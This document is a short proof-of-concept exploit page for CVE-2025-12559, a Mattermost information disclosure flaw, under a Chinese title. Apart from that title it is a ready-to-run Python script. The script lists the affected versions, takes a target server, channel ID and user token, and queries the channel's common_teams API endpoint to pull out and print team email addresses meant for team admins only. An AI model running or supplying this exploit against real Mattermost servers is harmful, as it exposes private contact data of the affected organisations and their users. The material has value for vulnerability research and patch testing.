CVE-2025-12559 Mattermost团队邮箱地址信息泄露漏洞

# CVE-2025-12559 PoC - Mattermost Information Disclosure # Affected Versions: Mattermost 11.0.x <= 11.0.2, 10.12.x <= 10.12.1, 10.11.x <= 10.11.4, 10.5.x <= 10.5.12 import requests import json TARGET_URL = "https://your-mattermost-server.com" CHANNEL_ID = "target_channel_id_here" AUTH_TOKEN = "your_authentication_token" def exploit_cve_2025_12559(): """ Exploit for CVE-2025-12559: Mattermost team email address information disclosure This PoC demonstrates how an authenticated user can retrieve team email addresses that should only be visible to Team Admins. """ headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } endpoint = f"/api/v4/channels/{CHANNEL_ID}/common_teams" url = f"{TARGET_URL}{endpoint}" print(f"[*] Target: {url}") print(f"[*] Exploiting CVE-2025-12559...") try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print("[+] Request successful - Team information retrieved!") print(f"[+] Response data: {json.dumps(data, indent=2)}") # Check if email addresses are exposed if 'teams' in data: for team in data['teams']: if 'email' in team: print(f"[!] WARNING: Team email exposed: {team['email']}") return True else: print(f"[-] Request failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": exploit_cve_2025_12559()